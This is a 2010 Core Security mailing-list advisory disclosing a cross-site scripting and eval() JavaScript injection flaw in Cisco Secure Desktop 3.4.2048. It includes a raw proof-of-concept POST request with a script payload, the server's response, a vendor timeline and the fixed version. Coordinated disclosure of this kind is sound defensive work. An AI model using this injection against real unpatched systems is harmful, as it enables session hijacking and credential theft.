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Message-ID: <4B672FA1.7080204@coresecurity.com>
Date: Mon, 01 Feb 2010 16:46:41 -0300
From: Core Security Technologies Advisories <advisories@...esecurity.com>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: [CORE-2010-0106] Cisco Secure Desktop XSS/JavaScript Injection

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Hash: SHA1

      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

Cisco Secure Desktop XSS/JavaScript Injection



1. *Advisory Information*

Title: Cisco Secure Desktop XSS/JavaScript Injection
Advisory Id: CORE-2010-0106
Advisory URL: http://www.coresecurity.com/content/cisco-secure-desktop-xss
Date published: 2010-02-01
Date of last update: 2010-02-01
Vendors contacted: Cisco
Release mode: Coordinated release



2. *Vulnerability Information*

Class: Cross site scripting [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 37960
CVE Name: CVE-2010-0440



3. *Vulnerability Description*

The Cisco Secure Desktop web application does not sufficiently verify if
a well-formed request was provided by the user who submitted the POST
request, resulting in a cross-site scripting vulnerability.

In order to be able to sucessfully make the attack, the Secure Desktop
application on the Cisco Appliance must be turned on.


4. *Vulnerable packages*

   . Cisco Secure Desktop 3.4.2048
   . Older versions are probably affected too, but they were not checked.


5. *Non-vulnerable packages*

   . Cisco Secure Desktop 3.5.841


6. *Vendor Information, Solutions and Workarounds*

Cisco Security Alert:
http://tools.cisco.com/security/center/viewAlert.x?alertId=19843


7. *Credits*

This vulnerability was discovered and researched by Matias Pablo Brutti
from Core Security Technologies.

The publication of this advisory was coordinated by Jorge Lucangeli Obes
from Core Security Technologies Advisories Team.


8. *Technical Description / Proof of Concept Code*

Cross-site scripting (XSS) vulnerabilities allow an attacker to execute
arbitrary scripting code in the context of the user browser (in the
vulnerable application's domain). For example, an attacker could exploit
an XSS vulnerability to steal user cookies (and then impersonate the
legitimate user) or fake a page requesting information to the user
(i.e.: credentials). This vulnerability occurs when user-supplied data
is displayed without encoding.

The Cisco Secure Desktop web application does not sufficiently verify if
a well-formed request was provided by the user who submitted the POST
request. The cross-site scripting vulnerability was found in the
following file/url:

/-----
https://{IP}//+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us

- -----/
 Using the POST variable:

/-----
Starting, please wait..."><script>alert(1);</script>

- -----/
 The content of the POST field is not being encoded at the time of using
them in HTML output, therefore allowing an attacker who controls their
content to insert JavaScript code. Furthermore, we could possibly inject
JavaScript code into the 'start.html' page because the content of the
previously mentioned POST is used in 'binary/mainv.js' as input for an
'eval()' function, hence allowing an attacker to inject any code without
restrictions which will be executed in the context of the 'eval()'
function:

/-----
282            http_request.open('POST', path, false);
283            http_request.send(msgs);
284            var trans = new Array();
285            try {
286                eval(http_request.responseText);
287            } catch (e) {}

- -----/



8.1. *Proof of Concept*



/-----
REQUEST:
POST
https://{IP}/+CSCOT+/translation?textdomain=csd&prefix=trans&lang=en-us
HTTP/1.1
Host: {IP}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9)
Gecko/2008052906 Firefox/3.0 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://{IP}/CACHE/sdesktop/install/start.htm
Content-Type: application/xml; charset=UTF-8
Cookie: webvpnLang=en-us; webvpnlogin=1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 56

Starting, please wait..."><script>alert(1);</script>

RESPONSE:
HTTP/1.1 200 OK
Server: Cisco AWARE 2.0
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 16 Nov 2009 14:14:07 GMT
Content-Length: 122

trans["Starting, please wait...\"><script>alert(1);</script>"] =
"Starting, please wait...\"><script>alert(1);</script>";

- -----/



9. *Report Timeline*

. 2010-01-12:
Vendor contacted.

. 2010-01-12:
Cisco replies, saying that it will investigate the report.

. 2010-01-12:
Cisco tentatively acknowledges the February 5th release date.

. 2010-01-13:
Core replies, reassuring that the release date can be moved if Cisco
can't meet it.

. 2010-01-13:
Cisco updates, pointing to a beta version of Cisco Secure Desktop that
contains a fix for the vulnerability.

. 2010-01-13:
Cisco describes the fix and the non-vulnerable versions of the package.

. 2010-01-14:
Cisco confirms the February 5th release date.

. 2010-01-14:
Core acknowledges this release date.

. 2010-01-25:
Core asks for clarification on the non-vulnerable versions of the package.

. 2010-01-25:
Cisco replies with the non-vulnerable version of Cisco Secure Desktop.

. 2010-01-26:
Given that the non-vulnerable version of Cisco Secure Desktop has
already been released, Core requests to move the release date forward,
to February 1st.

. 2010-01-26:
Cisco agrees to move the release date forward.

. 2010-02-01:
The advisory CORE-2010-0106 is published.



10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.


11. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2010 Core Security
Technologies and (c) 2010 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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